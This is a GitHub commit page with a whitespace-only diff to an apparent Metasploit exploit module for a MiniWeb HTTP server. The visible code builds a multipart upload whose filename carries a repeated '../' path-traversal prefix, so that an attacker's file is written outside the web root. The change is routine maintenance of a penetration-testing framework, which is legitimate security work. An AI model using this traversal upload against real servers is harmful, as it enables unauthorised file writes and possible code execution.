Skip to content

Commit 98e0053

Browse files
committed
Fix indent level
1 parent 7145a85 commit 98e0053

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

modules/exploits/windows/http/miniweb_upload_wbem.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -96,12 +96,12 @@ def upload(filename, filedata)
9696
uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
9797
depth = "../" * (datastore['DEPTH'] + rand(10))
9898

99-
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
100-
post_data = "--#{boundary}\r\n"
101-
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n"
102-
post_data << "Content-Type: application/octet-stream\r\n"
103-
post_data << "\r\n#{filedata}\r\n"
104-
post_data << "--#{boundary}\r\n"
99+
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
100+
post_data = "--#{boundary}\r\n"
101+
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n"
102+
post_data << "Content-Type: application/octet-stream\r\n"
103+
post_data << "\r\n#{filedata}\r\n"
104+
post_data << "--#{boundary}\r\n"
105105

106106
begin
107107
res = send_request_cgi({

0 commit comments

Comments
 (0)